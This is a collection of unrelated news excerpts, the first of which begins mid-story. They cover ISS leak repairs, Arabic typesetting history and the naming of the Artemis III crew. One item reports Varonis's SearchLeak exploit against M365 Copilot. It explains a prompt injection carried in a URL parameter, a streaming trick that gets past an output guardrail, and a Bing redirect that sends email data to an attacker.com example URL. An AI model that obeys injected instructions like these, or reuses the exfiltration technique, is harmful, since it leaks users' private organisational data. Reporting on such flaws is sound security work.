"So, yeah, worst case, you could seal it off," said Mogensen, "and I think the Space Station could continue. But of course, you never know what other problems might arise."
Mogensen's "worst case" is, according to reports, likely the way forward: permanently sealing off the affected segment. A sudden depressurization of the PrK segment is a risk NASA is no longer willing to take.
SearchLeak exploit shows why the industry's approach to LLM security fails over and over:
Last Tuesday, Microsoft patched a vulnerability it rated as max critical in its M365 Copilot AI platform. On Monday, the researchers who discovered the vulnerability and reported it to Microsoft revealed how their proof-of-concept exploit could retrieve 2FA codes and other sensitive data from emails accessible to Copilot.
Microsoft and other LLM providers have been unable to prevent their products from complying with malicious requests to reveal data. The root cause: AI bots are unable to distinguish between instructions provided by users and those snuck into third-party content the models are summarizing, drafting responses to, or using to perform other actions on behalf of the user. With no way to secure this crucial boundary, Microsoft and its peers are left to erect complicated and ad hoc guardrails designed to rein in the consequences of this incurable gullibility.
One guardrail built into Copilot and most other LLMs prevents them from submitting web forms, sending emails, and taking similar actions that can be used to exfiltrate data from the user. To work around this, LLM hackers turned to markup language, which, among other things, allows users to add formatting elements such as headings, lists, and links to text without the need for HTML tags. Another workaround is to wrap sensitive data inside HTML tags such as <img> and <form>. In either case, a web request showing the data hits the attacker's web server, where the secret information is captured in logs.
One Microsoft guardrail wraps Copilot output in <code> blocks so the browser treats it as straight text. Another is to restrict the sites Copilot is permitted to visit without explicit approval. While Copilot has blanket permission to send requests to Microsoft domains, guardrails restrict requests to untrusted sites.
Security firm Varonis devised an exploit chain that was able to catapult over these guardrails. The first element was what the researchers call a Parameter-to-Prompt Injection. The parameter in this case is the q in a URL, which is used to flag a query that has been included. The Parameter-to-Prompt Injection is a close relative of the prompt injection. The difference is that the malicious command is located in the query parameter, rather than in an email or other piece of untrusted content.
To bring about the Parameter-to-Prompt Injection an attacker sends the target an email that contains the URL with the syntax https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=. The field contains an instruction. Copilot readily complied.
"The search functionality is exactly what attackers need, because even with limited capabilities, a user with access to critical information is enough," the researchers wrote Monday. "To exfiltrate the data, an attacker crafts a URL that tells Copilot to 'Search the user's emails,' extract the title, and embed it in an image URL." The victim doesn't type anything. They click a link, and Copilot does the rest.
Normally, the guardrail wrapping output in <code> blocks would kick in. But the researchers discovered that the protection fires only after the "thinking" phase. Prior to that, Copilot generated its response using raw HTML, which is temporarily rendered in the browser DOM.
The researchers wrote:
So, the sequence looks like this:
- Copilot starts streaming its response, which includes an tag
- The browser sees the , renders it, and fires off an HTTP request to the src URL
- Copilot finishes generating. The guardrail wraps everything in /
- Too late! The request already left.
The researchers now had an image request firing from the target's browser. The problem, as noted earlier, is that Copilot won't send image requests to most websites. To scale this guardrail, the exploit chain used Microsoft's Bing search engine as a trampoline of sorts. Per the Copilot content security policy, Bing is among the sites permitted to send such requests. Bing would then send the request to the attacker-controlled domain that was included in the request. The request looked something like this:
https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png
Varonis has named the attack SearchLeak.
"Since SearchLeak targets the Enterprise tier of Microsoft, the blast radius isn't limited to personal data—it's able to surface anything the user has access to inside the organization including emails, meeting invites and notes," company researchers wrote. "SharePoint documents, OneDrive files, and other indexed business content. Depending on how M365 is connected to the environment, the blast radius could extend even wider."
As noted, Microsoft fixed the vulnerabilities that SearchLeak exploited on Tuesday. With no known way to fix the underlying cause of such SNAFUs, however, attackers will inevitably find new ways to circumvent the newly constructed guardrails, and the process will repeat all over again.
Typesetting, or the craft of mechanically or algorithmically placing characters on a page so they are pleasing to the beholder, is an interesting craft. It is related to calligraphy, which is the art or craft of manually (handwriting) placing characters on a page so they are pleasing to the beholder.
Typesetting Arabic script has its own peculiar challenges: the script is written from right to left; it is only cursive; some letter-forms vary according to whether they start a word, are in its body, or terminate the word; and justification is achieved by varying the width of portions of the letters in words, not by varying the spaces between words.
Modern operating systems, are in general, very bad at rendering Arabic script well.
This blog goes into a deep dive of the history of Arabic typesetting, and modern challenges.
Quoting with some slight rewording and editing:
The rules for laying out classical Arabic script were written down by Ibn Muqla, Abbasid vizier and chief calligrapher, who served three caliphs in succession and was imprisoned by two of them; the third had his right hand amputated on a charge of treasonous correspondence, and Ibn Muqla then kept writing for the next several months by lashing a reed pen to the stump of his wrist, and was rewarded for what he wrote by having his tongue cut out, and died in prison around the year 940.
The system he wrote down outlasted everybody who hurt him by a thousand years. It is called al-khaṭṭ al-mansūb, the proportional script; every letterform measured in rhombic dots of the reed nib, every curve a defined arc of a defined circle, the alif a fixed number of dots high and anything else derived from the alif. Within that system the elongation is a drawn stroke with its own rules, which letter pairs accept it, how the curve swells and tapers, how many elongations a line may carry, where they may sit. The scribes also justified by choosing different shapes, because most letters have alternate forms of different widths, and a skilled hand selects among them as the margin approaches. In this tradition, you justify by reshaping the letters, not by spacing the words.
The tradition Ibn Muqla started did not stay with him; it was refined, in writing, by named human beings over the following six hundred years. Ibn al-Bawwāb in Baghdad, around the year 1022, smoothed out the proportions and produced the manuscript that defined Naskh for the rest of the millennium; a single Qurʾān in his hand survives in the Chester Beatty Library in Dublin, and you can date the Persian, Ottoman, and Mamluk traditions by how closely they follow it.
Print and the Arabic script met badly, and that meeting set the pattern for almost everything since: when the machine cannot do the script, simplify the script, ship it, and call it progress.
The first book printed in movable Arabic type was a book of hours, Kitāb Ṣalāt al-Sawāʿī, produced in 1514 in Fano, in the Papal States, by the Venetian printer Gregorio de' Gregori. It was set by craftsmen who could not read a word of what they were setting, and you can tell: letters detach at the joints, dots drift away from their letters, final forms turn up in the middle of words.
The press that finally did the script justice was the Bulaq Press, founded in Cairo by Muhammad Ali in 1820 and later renamed al-Maṭbaʿa al-Amīriyya, the state press. Doing it justice was gloriously expensive. Where a Latin fount needs somewhere around a hundred sorts, a serious naskh fount needed many hundreds: positional forms, ligatures, vowel marks, every one a separately cut piece of metal, and a compositor who could navigate that case fast enough to keep his job. The summit of the tradition is the 1924 Cairo Qurʾān, set at the Amiria Press, which standardised the text for the twentieth century and proved that metal could, with enough sorts and enough patience, walk right up to the manuscript page and look it in the eye.
Then the newspapers arrived...
...Amiri, the Naskh face that Khaled Hosny, an Egyptian doctor by training who taught himself OpenType tooling over the course of about a decade, built and released under the SIL Open Font License in 2011 and has polished continuously since. The name is the lineage: Amiri revives the typeface of al-Maṭbaʿa al-Amīriyya, the Bulaq Press face that set the 1924 Cairo Qurʾān, which means the best free Arabic font of the digital era is a one-man reconstruction of the best government-funded font of the metal era, and I never get tired of saying that sentence.
...
I have watched senior engineers, fluent in both Arabic and English, give up on writing a long email in Outlook on a Wednesday afternoon because the cursor would not behave, and switch to Arabic-only or English-only because the cognitive cost of fighting the editor exceeded the cost of monolingual phrasing.This is the ordinary experience of writing mixed Arabic-English text in 2026, in every major editor, email client, and chat application I know of.
Multilingual typesetters carry a small pocketful of these invisible characters everywhere they go, like exorcists.
Much more in depth at the link.
https://www.theregister.com/science/2026/06/15/nasa-management-wants-a-word-and-wont-say-why/5255702
We've all seen it: an unexpected management meeting that turns up in your calendar. It could mean HR wants a quiet and perhaps terminal word, or, in the case of NASA, something altogether different.
During a chat with Space.com, NASA astronaut Bob Hines explained that the meeting was engineered to ensure all five Artemis III astronauts would be in the same room together and introduced face-to-face.
The process space NASA uses to select astronauts has long been shrouded in mystery. The first American man in space, Alan Shepard, recalled in Light This Candle that his assignment to the Mercury 7 – the first batch of NASA astronauts – came from a caller who said, "We'd like you to join us. Are you still willing to volunteer?"
Shepard later learned he would be the first American man in space during a meeting with fellow astronauts Gus Grissom and John Glenn, plus the Director of the Space Task Group, Bob Gilruth. Gilruth said, "Alan Shepard will make the first suborbital flight." Several factors went into that decision, including the seven Mercury astronauts rating their peers.
In his memoir, Riding Rockets, Space Shuttle astronaut Mike Mullane recalled receiving a summons, along with four crewmates, to the office of then Director of Flight Operations, George Abbey.
In that meeting, Abbey apparently asked: "We've been looking at the mission manifest, and think it's time to assign some more crews. I was wondering if you would be interested in STS-41D?"
The whys and wherefores were unimportant. The astronauts were just delighted to get an assignment.
These days, an unannounced management meeting with invitees a person might not normally see on a request is apparently how things are done. How those invitees are picked, however, remains a little opaque.
With luck, NASA has sorted out the Outlook problem that bedeviled Artemis II, in which an astronaut plaintively told controllers, "I have two Outlooks, and neither one of those is working." Artemis III is, after all, set to be a very complicated mission, and, if all goes to plan, the crew will have fewer than 18 months to train. That is considerably less than the three years the Artemis II crew spent preparing for their mission to the Moon.
The crew of four – three NASA astronauts and one European Space Agency astronaut (with Bob Hines as back-up) – will ideally rendezvous with two commercial spacecraft to check out docking operations and, in the case of Blue Origin, enter the vehicle. All this will take place in Low Earth Orbit as a precursor to the Artemis IV mission, which NASA expects will land humans on the Moon for the first time since the final Apollo mission in 1972.
The meeting reportedly happened two weeks before the public announcement of the crew, and NASA's chief astronaut, Scott Tingle, told the group, "Look around. This is your Artemis 3 crew."
Hines told Space.com, "That was a really, really cool way to find out."
Certainly better than being presented with a pink slip by HR and a box to pack your possessions.